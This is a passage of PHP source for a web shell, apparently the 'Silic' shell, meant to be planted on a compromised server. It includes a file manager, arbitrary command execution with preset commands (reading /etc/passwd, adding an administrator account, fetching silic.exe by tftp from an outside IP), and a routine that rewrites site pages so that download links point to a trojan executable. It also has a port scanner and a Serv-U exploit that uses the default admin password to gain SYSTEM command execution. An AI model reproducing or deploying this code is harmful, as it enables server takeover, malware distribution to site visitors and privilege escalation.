	if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = ''; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? ' '.$modfile.'  '.$_GET['md'].' ' : ' '.$modfile.'  '.$_GET['md'].' ';} 
	if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? ' '.$_GET['mn'].'  '.$_GET['rn'].' ' : ' '.$_GET['mn'].'  '.$_GET['rn'].' ';} 
	if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? ' '.$_GET['dn'].' ' : ' '.$_GET['dn'].' ';} 
	if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? ' '.$_GET['dd'].' ' : ' '.$_GET['dd'].' ';} 
	if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '';} 
	Root_CSS(); 
	print<<<END 
<script type="text/javascript"> 
	function Inputok(msg,gourl) 
	{ 
		smsg = ":[" + msg + "]"; 
		re = prompt(smsg,unescape(msg)); 
		if(re) 
		{ 
			var url = gourl + escape(re); 
			window.location = url; 
		} 
	} 
	function Delok(msg,gourl) 
	{ 
		smsg = "[" + unescape(msg) + "]?"; 
		if(confirm(smsg)) 
		{ 
			if(gourl == 'b') 
			{ 
				document.getElementById('actall').value = escape(gourl); 
				document.getElementById('fileall').submit(); 
			} 
			else window.location = gourl; 
		} 
	} 
	function CheckDate(msg,gourl) 
	{ 
		smsg = ":[" + msg + "]"; 
		re = prompt(smsg,msg); 
		if(re) 
		{ 
			var url = gourl + re; 
			var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
			var r = re.match(reg); 
			if(r==null){alert('!:yyyy-mm-dd hh:mm:ss');return false;} 
			else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} 
		} 
	} 
	function CheckAll(form) 
	{ 
		for(var i=0;i<form.elements.length;i++) 
		{ 
			var e = form.elements[i]; 
			if (e.name != 'chkall') 
			e.checked = form.chkall.checked; 
		} 
	} 
	function SubmitUrl(msg,txt,actid) 
	{ 
		re = prompt(msg,unescape(txt)); 
		if(re) 
		{ 
			document.getElementById('actall').value = actid; 
			document.getElementById('inver').value = escape(re); 
			document.getElementById('fileall').submit(); 
		} 
	} 
</script> 
<div id="msgbox" class="msgbox">{$MSG_BOX}</div> 
<div class="actall" style="text-align:center;padding:3px;"> 
<form method="GET"><input type="hidden" id="s" name="s" value="a"> 
<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;"> 
<select onchange="location.href='?s=a&p='+options[selectedIndex].value"> 
	<option>------</option> 
	<option value="{$ROOT_DIR}"></option> 
	<option value="{$FILE_DIR}"></option> 
	<option value="C:/">C</option> 
	<option value="D:/">D</option> 
	<option value="E:/">E</option> 
	<option value="F:/">F</option> 
	<option value="C:/Documents and Settings/All Users///"></option> 
	<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">()</option> 
	<option value="C:/RECYCLER"></option> 
	<option value="C:/Program Files">Programs</option> 
	<option value="/etc">etc</option> 
	<option value="/home">home</option> 
	<option value="/usr/local">Local</option> 
	<option value="/tmp">Temp</option> 
</select><input type="submit" value="" style="width:50px;"></form> 
<div style="margin-top:3px;"></div> 
<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data"> 
	<input type="button" value="" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');"> 
	<input type="button" value="" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');"> 
	<input type="button" value="" onclick="window.location='?s=q&p={$REAL_DIR}';"> 
	<input type="file" name="ufp" style="width:300px;height:22px;"> 
	<input type="text" name="ufn" style="width:121px;height:22px;"> 
	<input type="submit" value="" style="width:50px;"> 
</form></div> 
<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}"> 
<table border="0"><tr><td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b></b></a></td> 
<td class="toptd" style="width:80px;">  </td><td class="toptd" style="width:48px;">  </td><td class="toptd" style="width:173px;">  </td><td class="toptd" style="width:75px;">  </td></tr> 
END; 
	if(($h_d = @opendir($p)) == NULL) return false; 
	while(false !== ($Filename = @readdir($h_d))) 
	{ 
		if($Filename == '.' or $Filename == '..') continue; 
		$Filepath = File_Str($REAL_DIR.'/'.$Filename); 
		if(is_dir($Filepath)) 
		{ 
			$Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); 
			$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); 
			$Filepath = urlencode($Filepath); 
			echo "\r\n".' <tr><td> <a href="?s=a&p='.$Filepath.'"><font face="wingdings" size="3">0</font><b> '.$Filename.' </b></a> </td> '; 
			$Filename = urlencode($Filename); 
			echo ' <td> <a href="#" onclick="Delok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&dd='.$Filename.'\');return false;">  </a> '; 
			echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;">  </a> </td> '; 
			echo ' <td> <a href="#" onclick="Inputok(\''.$Fileperm.'\',\'?s=a&p='.$THIS_DIR.'&mk='.$Filename.'&md=\');return false;"> '.$Fileperm.' </a> </td> '; 
			echo ' <td>'.$Filetime.'</td> '; 
			echo ' <td> </td> </tr>'."\r\n"; 
			$NUM_D++; 
		} 
	} 
	@rewinddir($h_d); 
	while(false !== ($Filename = @readdir($h_d))) 
	{ 
		if($Filename == '.' or $Filename == '..') continue; 
		$Filepath = File_Str($REAL_DIR.'/'.$Filename); 
		if(!is_dir($Filepath)) 
		{ 
			$Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); 
			$Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); 
			$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); 
			$Filesize = File_Size(@filesize($Filepath)); 
			if($Filepath == File_Str(__FILE__)) $fname = '<font color="#8B0000">'.$Filename.'</font>'; else $fname = $Filename; 
			echo "\r\n".' <tr><td> <input type="checkbox" name="files[]" value="'.urlencode($Filepath).'"><a target="_blank" href="'.$Fileurls.'">'.$fname.'</a> </td>'; 
			$Filepath = urlencode($Filepath); 
			$Filename = urlencode($Filename); 
			echo ' <td> <a href="?s=p&fp='.$THIS_DIR.'&fn='.$Filename.'">  </a> '; 
			echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;">  </a> </td>'; 
			echo ' <td>'.$Fileperm.'</td> '; 
			echo ' <td>'.$Filetime.'</td> '; 
			echo ' <td align="right"> <a href="?s=a&df='.$Filepath.'">'.$Filesize.'</a> </td></tr> '."\r\n"; 
			$NUM_F++; 
		} 
	} 
	@closedir($h_d); 
	if(!$Filetime) $Filetime = '2009-01-01 00:00:00'; 
	print<<<END 
</table> 
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined"> 
<input type="hidden" id="inver" name="inver" value="undefined"> 
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);"> 
<input type="button" value="" onclick="SubmitUrl(': ','{$THIS_DIR}','a');return false;"> 
<input type="button" value="" onclick="Delok('','b');return false;"> 
<input type="button" value="" onclick="SubmitUrl(': ','0666','c');return false;"> 
<input type="button" value="" onclick="CheckDate('{$Filetime}','d');return false;"> 
<input type="button" value="" onclick="SubmitUrl(': ','silic.gz','e');return false;"> 
({$NUM_D}) / ({$NUM_F})</div> </form> 
END; 
	return true; 
} 
// 
function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) 
{ 
	if(($h_d = @opendir($tp)) == NULL) return false; 
	while(false !== ($Filename = @readdir($h_d))) 
	{ 
		if($Filename == '.' || $Filename == '..') continue; 
		$Filepath = File_Str($tp.'/'.$Filename); 
		if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); 
		$doing = false; 
		if(eregi($tt,$Filename)) 
		{ 
			$ic = File_Read($Filepath); 
			if($th) 
			{ 
				if(!stristr($ic,$tca)) continue; 
				$ic = str_replace($tca,$tcb,$ic); 
				$doing = true; 
			} 
			else 
			{ 
				preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc); 
				for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}} 
			} 
			if($td) $ftime = @filemtime($Filepath); 
			if($doing) echo File_Write($Filepath,$ic,'wb') ? '<font color="#006600">:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">:</font>'.$Filepath.' <br>'."\r\n"; 
			if($td) @touch($Filepath,$ftime); 
			ob_flush(); 
			flush(); 
		} 
	} 
	@closedir($h_d); 
	return true; 
} 
function Tihuan_d() 
{ 
	if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) 
	{ 
		echo '<div class="actall">'; 
		$tt = str_replace('.','\\.',$_POST['tt']); 
		$td = isset($_POST['td']) ? true : false; 
		$tb = ($_POST['tb'] == 'a') ? true : false; 
		$th = ($_POST['th'] == 'a') ? true : false; 
		if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); 
		echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '<a href="#" onclick="window.location=\'?s=d\'"></a>' : '<a href="#" onclick="window.location=\'?s=d\'"></a>'; 
		echo '</div>'; 
		return false; 
	} 
	$FILE_DIR = File_Str(dirname(__FILE__)); 
	$ROOT_DIR = File_Mode(); 
	print<<<END 
<script language="javascript"> 
function Fulllll(i){ 
	if(i==0) return false; 
  Str = new Array(5); 
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} 
	else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} 
  return true; 
} 
function showth(th){ 
	if(th == 'a') document.getElementById('setauto').innerHTML = ':<textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>:<textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>'; 
	if(th == 'b') document.getElementById('setauto').innerHTML = '<br> <input type="text" name="tca" id="tca" value=".exe|.7z|.rar|.zip|.gz|.txt" style="width:500px;"><br><br> <input type="text" name="tcb" id="tcb" value="http://blackbap.org/muma.exe" style="width:500px;">'; 
	return true; 
} 
function autoup(){ 
	if(document.getElementById('tp').value == ''){alert('');return false;} 
	if(document.getElementById('tt').value == ''){alert('');return false;} 
	if(document.getElementById('tca').value == ''){alert('');return false;} 
	document.getElementById('tform').submit(); 
} 
</script> 
<form method="POST" name="tform" id="tform" action="?s=d"> 
<div class="actall" style="height:35px;"> <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;"> 
<select onchange='return Fulllll(options[selectedIndex].value)'> 
<option value="0" selected>----</option> 
<option value="1"></option> 
<option value="2"></option> 
</select></div> 
<div class="actall" style="height:35px;"> <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;"> 
<select onchange='return Fulllll(options[selectedIndex].value)'> 
<option value="0" selected>----</option> 
<option value="3"></option> 
<option value="4">+</option> 
<option value="5">JS</option> 
</select></div> 
<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked> <input type="radio" name="th" value="b" onclick="showth('b')"><br> 
<div id="setauto"> <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br> <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div> 
<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked></div> 
<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>, 
<br><input type="radio" name="tb" value="b"></div> 
<div class="actall"><input type="button" value="" style="width:80px;height:26px;" onclick="autoup();"></div> 
</form> 
END; 
	return true; 
} 
// 
function Antivirus_Auto($sp,$features,$st,$sb) 
{ 
	if(($h_d = @opendir($sp)) == NULL) return false; 
	$ROOT_DIR = File_Mode(); 
	while(false !== ($Filename = @readdir($h_d))) 
	{ 
		if($Filename == '.' || $Filename == '..') continue; 
		$Filepath = File_Str($sp.'/'.$Filename); 
		if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st); 
		if(eregi($st,$Filename)) 
		{ 
			if($Filepath == File_Str(__FILE__)) continue; 
			$ic = File_Read($Filepath); 
			foreach($features as $var => $key) 
			{ 
				if(stristr($ic,$key)) 
				{ 
					$Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); 
					$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); 
					echo ' <a href="'.$Fileurls.'" target="_blank"> <font color="#8B0000"> '.$Filepath.' </font> </a> <br> <a href="?s=e&fp='.urlencode($sp).'&fn='.$Filename.'&dim='.urlencode($key).'" target="_blank">  </a> <a href="?s=e&df='.urlencode($Filepath).'" target="_blank">  </a>  '; 
					echo '  '.$Filetime.'  <font color="#FF0000"> '.$var.' </font> <br> <br> '."\r\n"; 
					break; 
				} 
			} 
			ob_flush(); 
			flush(); 
		} 
	} 
	@closedir($h_d); 
	return true; 
} 
 
function Antivirus_e() 
{ 
	if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '' : '';} return false;} 
	if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } 
	$SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode(); 
	$features_php = array('eval'=>'eval(','read'=>'->read()','readdir3'=>'readdir(','MYSQL'=>'returns string soname','1'=>'eval(gzinflate(','2'=>'eval(base64_decode(','3'=>'base64_decode(','eval2'=>'eval (','php'=>'copy($_FILES','2'=>'copy ($_FILES',''=>'move_uploaded_file($_FILES','2'=>'move_uploaded_file ($_FILES',''=>'str_replace(\'\\\\\',\'/\','); 
	$features_asx = array(''=>'VBScript.Encode',''=>'#@~^','fso'=>'fso.createtextfile(path,true)','excute'=>'execute','eval'=>'eval','wscript'=>'F935DC22-1CF0-11D0-ADB9-00C04FD58A0B',''=>'13709620-C279-11CE-A49E-444553540000','wscript'=>'WScript.Shell','fso'=>'0D43FE01-F093-11CF-8940-00A0C9054228',''=>'','aspx'=>'Process.GetProcesses','aspx'=>'Request.BinaryRead'); 
	print<<<END 
<form method="POST" name="tform" id="tform" action="?s=e"> 
<div class="actall"> <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:600px;"></div> 
<div class="actall"> <input type="checkbox" name="stphp" value="php" checked>php 
<input type="checkbox" name="stasx" value="asx">asp+aspx</div> 
<div class="actall" style="height:50px;"><input type="radio" name="sb" value="a" checked>, 
<br><input type="radio" name="sb" value="b"></div> 
<div class="actall"><input type="submit" value="" style="width:80px;"></div> 
</form> 
END; 
	if(!empty($_POST['sp'])) 
	{ 
		echo '<div class="actall">'; 
		if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';} 
		if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} 
		if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} 
		$sb = ($_POST['sb'] == 'a') ? true : false; 
		echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? '' :  ''; 
		echo '</div>'; 
	} 
	return true; 
} 
// 
function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) 
{ 
	//echo $sfp.'<br>'.$sfc.'<br>'.$sft.'<br>'.$sff.'<br>'.$sfb; 
	if(($h_d = @opendir($sfp)) == NULL) return false; 
	while(false !== ($Filename = @readdir($h_d))) 
	{ 
		if($Filename == '.' || $Filename == '..') continue; 
		if(eregi($sft,$Filename)) continue; 
		$Filepath = File_Str($sfp.'/'.$Filename); 
		if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); 
		if($sff) 
		{ 
			if(stristr($Filename,$sfc)) 
			{ 
				echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n"; 
				ob_flush(); 
				flush(); 
			} 
		} 
		else 
		{ 
			$File_code = File_Read($Filepath); 
			if(stristr($File_code,$sfc)) 
			{ 
				echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n"; 
				ob_flush(); 
				flush(); 
			} 
		} 
	} 
	@closedir($h_d); 
	return true; 
} 
function Findfile_j() 
{ 
	if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '' : '';} return false;} 
	if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } 
	$SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); 
	$SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; 
	$SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip|.pdf|.dll|.exe|.txt|.inf|.ppt|.xls|.js'; 
	print<<<END 
<form method="POST" name="jform" id="jform" action="?s=j"> 
<div class="actall"> <input type="text" name="sfp" value="{$SCAN_DIR}" style="width:600px;"></div> 
<div class="actall"> <input type="text" name="sft" value="{$SCAN_TYPE}" style="width:600px;"></div> 
<div class="actall"> <input type="text" name="sfc" value="{$SCAN_CODE}" style="width:395px;"> 
<input type="radio" name="sff" value="a" checked> 
<input type="radio" name="sff" value="b"></div> 
<div class="actall" style="height:50px;"><input type="radio" name="sfb" value="a" checked>, 
<br><input type="radio" name="sfb" value="b"></div> 
<div class="actall"><input type="submit" value="" style="width:80px;"></div> 
</form> 
END; 
	if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) 
	{ 
		echo '<div class="actall">'; 
		$_POST['sft'] = str_replace('.','\\.',$_POST['sft']); 
		$sff = ($_POST['sff'] == 'a') ? true : false; 
		$sfb = ($_POST['sfb'] == 'a') ? true : false; 
		echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '' : ''; 
		echo '</div>'; 
	} 
	return true; 
} 
// 
function Info_Cfg($varname){ 
	switch($result = get_cfg_var($varname)){ 
		case 0:return "No";break; 
		case 1:return "Yes";break; 
		default:return $result;break;}} 
		function Info_Fun($funName){return(false !==function_exists($funName)) ? "Yes" : "No";} 
		function Info_f() 
		{ 
			$dis_func = get_cfg_var("disable_functions"); 
			$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : ""; 
			$adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>"; 
			if($dis_func == ""){$dis_func = "No";} 
			else{ 
				$dis_func = str_replace(" ","<br>",$dis_func); 
				$dis_func = str_replace(",","<br>",$dis_func); 
			} 
			$phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; 
			$info = array( 
					array("/",date("Ymd h:i:s",time())."&nbsp;/&nbsp;".gmdate("Ynj H:i:s",time()+8*3600)), 
					array(":(ip)","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>:".$_SERVER['SERVER_PORT']." ( ".gethostbyname($_SERVER['SERVER_NAME'])." )"), 
					array("()",PHP_OS." (".$_SERVER['HTTP_ACCEPT_LANGUAGE'].")"), 
					array("",$_SERVER['SERVER_SOFTWARE']), 
					array("IP",getenv('REMOTE_ADDR')), 
					array("PHP()",strtoupper(php_sapi_name())."(".PHP_VERSION.") / :".Info_Cfg("safemode")), 
					array("",$adminmail), 
					array("",__FILE__), 
					array("URL[allow_url_fopen]",Info_Cfg("allow_url_fopen")), 
					array("[enable_dl]",Info_Cfg("enable_dl")), 
					array("[display_errors]",Info_Cfg("display_errors")), 
					array("[register_globals]",Info_Cfg("register_globals")), 
					array("[magic_quotes_gpc]",Info_Cfg("magic_quotes_gpc")), 
					array("[memory_limit]",Info_Cfg("memory_limit")), 
					array("POST[post_max_size]",Info_Cfg("post_max_size")), 
					array("[upload_max_filesize]",$upsize), 
					array("[max_execution_time]",Info_Cfg("max_execution_time").""), 
					array("[disable_functions]",$dis_func), 
					array("[phpinfo()]",$phpinfo), 
					array("diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), 
					array("GZ[zlib]",Info_Fun("gzclose")), 
					array("ZIP[ZipArchive(php_zip)]",Info_Fun("zip_open")), 
					array("IMAP",Info_Fun("imap_close")), 
					array("XML",Info_Fun("xml_set_object")), 
					array("FTP",Info_Fun("ftp_login")), 
					array("Session",Info_Fun("session_start")), 
					array("Socket",Info_Fun("fsockopen")), 
					array("MySQL",Info_Fun("mysql_close")), 
					array("MSSQL",Info_Fun("mssql_close")), 
					array("Postgre SQL",Info_Fun("pg_close")), 
					array("SQLite",Info_Fun("sqlite_close")), 
					array("Oracle",Info_Fun("ora_close")), 
					array("Oracle 8",Info_Fun("OCILogOff")), 
					array("SyBase",Info_Fun("sybase_close")), 
					array("Hyperwave",Info_Fun("hw_close")), 
					array("InforMix",Info_Fun("ifx_close")), 
					array("FilePro",Info_Fun("filepro_fieldcount")), 
					array("DBA/DBM",Info_Fun("dba_close")."&nbsp;/&nbsp;".Info_Fun("dbmclose")), 
					array("ODBC/dBASE",Info_Fun("odbc_close")."&nbsp;/&nbsp;".Info_Fun("dbase_close")), 
					array("PREL[PCRE]",Info_Fun("preg_match")), 
					array("PDF",Info_Fun("pdf_close")), 
					array("[GD Library]",Info_Fun("imageline")), 
					array("SNMP",Info_Fun("snmpget")),); 
			echo '<table width="100%" border="0">'; 
			for($i = 0;$i < count($info);$i++){echo '<tr><td width="40%">'.$info[$i][0].'</td><td>'.$info[$i][1].'</td></tr>'."\n";} 
			echo '</table>'; 
			return true; 
		} 
		// 
		function Exec_Run($cmd) 
		{ 
			$res = ''; 
			if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} 
			elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} 
			elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} 
			elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} 
			elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} 
			return $res; 
		} 
		function Exec_g() 
		{ 
			$res = ''; 
			$cmd = 'dir'; 
			if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} 
			print<<<END 
<script language="javascript"> 
function sFull(i){ 
	Str = new Array(14); 
	Str[0] = "dir"; 
	Str[1] = "ls /etc"; 
	Str[2] = "cat /etc/passwd"; 
	Str[3] = "cp -a /home/www/html/a.php /home/www2/"; 
	Str[4] = "uname -a"; 
	Str[5] = "gcc -o /tmp/silic /tmp/silic.c"; 
	Str[6] = "net user silic silic /add & net localgroup administrators silic /add"; 
	Str[7] = "net user"; 
	Str[8] = "netstat -an"; 
	Str[9] = "ipconfig"; 
	Str[10] = "copy c:\\1.php d:\\2.php"; 
	Str[11] = "tftp -i 123.234.222.1 get silic.exe c:\\silic.exe"; 
	Str[12] = "lsb_release -a"; 
	Str[13] = "chmod 777 /tmp/silic.c"; 
document.getElementById('cmd').value = Str[i]; 
return true; 
} 
</script> 
<form method="POST" name="gform" id="gform" action="?s=g"><center><div class="actall"> 
 <input type="text" name="cmd" id="cmd" value="{$cmd}" style="width:399px;"> 
<select onchange='return sFull(options[selectedIndex].value)'> 
<option value="0" selected>----</option> 
<option value="1"></option> 
<option value="2"></option> 
<option value="3"></option> 
<option value="4"></option> 
<option value="5"></option> 
<option value="6"></option> 
<option value="7"></option> 
<option value="8"></option> 
<option value="9"></option> 
<option value="10"></option> 
<option value="11">FTP</option> 
<option value="12"></option> 
<option value="13"></option> 
</select> 
<input type="submit" value="" style="width:80px;"></div> 
<div class="actall"><textarea name="show" style="width:660px;height:399px;">{$res}</textarea></div></center></form> 
END; 
			return true; 
		} 
		// 
		function Port_i() 
		{ 
			$Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; 
			$Port_port = isset($_POST['port']) ? $_POST['port'] : '21|22|23|25|80|110|111|135|139|443|445|1433|1521|3306|3389|4899|5432|5631|7001|8000|8080|14147|43958'; 
			print<<<END 
<form method="POST" name="iform" id="iform" action="?s=i"> 
<div class="actall">IP <input type="text" name="ip" value="{$Port_ip}" style="width:600px;"> </div> 
<div class="actall"> <input type="text" name="port" value="{$Port_port}" style="width:720px;"></div> 
<div class="actall"><input type="submit" value="" style="width:80px;"></div> 
</form> 
END; 
			if((!empty($_POST['ip'])) && (!empty($_POST['port']))) 
			{ 
				echo '<div class="actall">'; 
				$ports = explode('|', $_POST['port']); 
				for($i = 0;$i < count($ports);$i++) 
				{ 
					$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2); 
					echo $fp ? '<font color="#FF0000"> ---> '.$ports[$i].'</font><br>' : ' ---> '.$ports[$i].'<br>'; 
					ob_flush(); 
					flush(); 
				} 
				echo '</div>'; 
			} 
			return true; 
		} 
		//ServU 
		function Servu_l() 
		{ 
			$SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; 
			print<<<END 
<div class="actall"><a href="?s=l">[]</a> <a href="?s=l&o=adduser">[]</a></div> 
<form method="POST"> 
	<div class="actall">ServU <input name="SUPort" type="text" value="43958" style="width:300px"></div> 
	<div class="actall">ServU <input name="SUUser" type="text" value="LocalAdministrator" style="width:300px"></div> 
	<div class="actall">ServU <input name="SUPass" type="text" value="{$SUPass}" style="width:300px"></div> 
END; 
			if($_GET['o'] == 'adduser') 
			{ 
				print<<<END 
<div class="actall"> <input name="user" type="text" value="yoco" style="width:200px"> 
 <input name="password" type="text" value="silic" style="width:200px"> 
 <input name="part" type="text" value="C:\\\\" style="width:200px"></div> 
END; 
			} 
			else 
			{ 
				print<<<END 
<div class="actall"> <input name="SUCommand" type="text" value="net user silic silic /add & net localgroup administrators silic /add" style="width:600px"><br> 
<input name="user" type="hidden" value="silic"> 
<input name="password" type="hidden" value="silic"> 
<input name="part" type="hidden" value="C:\\\\"></div> 
END; 
			} 
			echo '<div class="actall"><input type="submit" value="" style="width:80px;"></div></form>'; 
			if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) 
			{ 
				echo '<div class="actall">'; 
				$sendbuf = ""; 
				$recvbuf = ""; 
				$domain  = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; 
				$adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". 
						"-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". 
						"-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; 
				$deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; 
				$sock = @fsockopen("127.0.0.1", $_POST["SUPort"], $errno, $errstr, 10); 
				$recvbuf = @fgets($sock, 1024); 
				echo ": $recvbuf <br>"; 
				$sendbuf = "USER ".$_POST["SUUser"]."\r\n"; 
				@fputs($sock, $sendbuf, strlen($sendbuf)); 
				echo ": $sendbuf <br>"; 
				$recvbuf = @fgets($sock, 1024); 
				echo ": $recvbuf <br>"; 
				$sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; 
				@fputs($sock, $sendbuf, strlen($sendbuf)); 
				echo ": $sendbuf <br>"; 
				$recvbuf = @fgets($sock, 1024); 
				echo ": $recvbuf <br>"; 
				$sendbuf = "SITE MAINTENANCE\r\n"; 
				@fputs($sock, $sendbuf, strlen($sendbuf)); 
